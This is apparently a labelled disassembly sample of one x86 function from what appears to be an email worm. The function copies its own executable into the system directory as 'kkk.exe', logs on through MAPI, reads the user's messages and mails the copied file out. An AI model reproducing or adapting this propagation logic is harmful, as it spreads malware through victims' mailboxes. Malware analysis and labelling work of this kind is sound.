Function at 0x4026f1
Capabilities:
Copy file
Get common file path
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x454
mov dword [esp], str.mapi32.dll
call sym._LoadLibraryA_4
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40299d
mov dword [esp + 4], str.MAPILogon
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp + 4], str.MAPIFindNext
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x14], eax
mov dword [esp + 4], str.MAPIReadMail
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x18], eax
mov dword [esp + 4], str.MAPISendMail
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], str.MAPILogoff
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x10], 0
je 0x4029a0
cmp dword [ebp - 0x14], 0
je 0x4029a0
cmp dword [ebp - 0x18], 0
je 0x4029a0
cmp dword [ebp - 0x1c], 0
je 0x4029a0
cmp dword [ebp - 0x20], 0
je 0x4029a0
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x434]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x330]
mov dword [esp], eax
call sym._GetSystemDirectoryA_8
sub esp, 8
lea eax, [ebp - 0x330]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x330]
add eax, edx
mov dword [eax], 0x6b6b6b5c
mov dword [eax + 4], 0x6578652e
mov byte [eax + 8], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x330]
mov dword [esp + 4], eax
lea eax, [ebp - 0x434]
mov dword [esp], eax
call sym._CopyFileA_12
sub esp, 0xc
lea eax, [ebp - 0x22c]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [ebp - 0x10]
call eax
sub esp, 0x18
test eax, eax
jne 0x40298d
mov byte [ebp - 0x221], 0
mov eax, dword [ebp - 0x22c]
lea edx, [ebp - 0x221]
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x4000
lea edx, [ebp - 0x221]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [ebp - 0x14]
call eax
sub esp, 0x1c
test eax, eax
jne 0x402963
mov eax, dword [ebp - 0x22c]
lea edx, [ebp - 0x228]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], pe_nt_image_headers32
lea edx, [ebp - 0x221]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [ebp - 0x18]
call eax
sub esp, 0x18
test eax, eax
jne 0x4028a1
mov edx, dword [ebp - 0x22c]
mov eax, dword [ebp - 0x228]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 0xc]
lea ecx, [ebp - 0x330]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
call dbg.SendMail
jmp 0x4028a1
nop
mov eax, dword [ebp - 0x22c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [ebp - 0x20]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FreeLibrary_4
sub esp, 4
jmp 0x4029a1
nop
jmp 0x4029a1
nop
mov edi, dword [ebp - 4]
leave
ret 4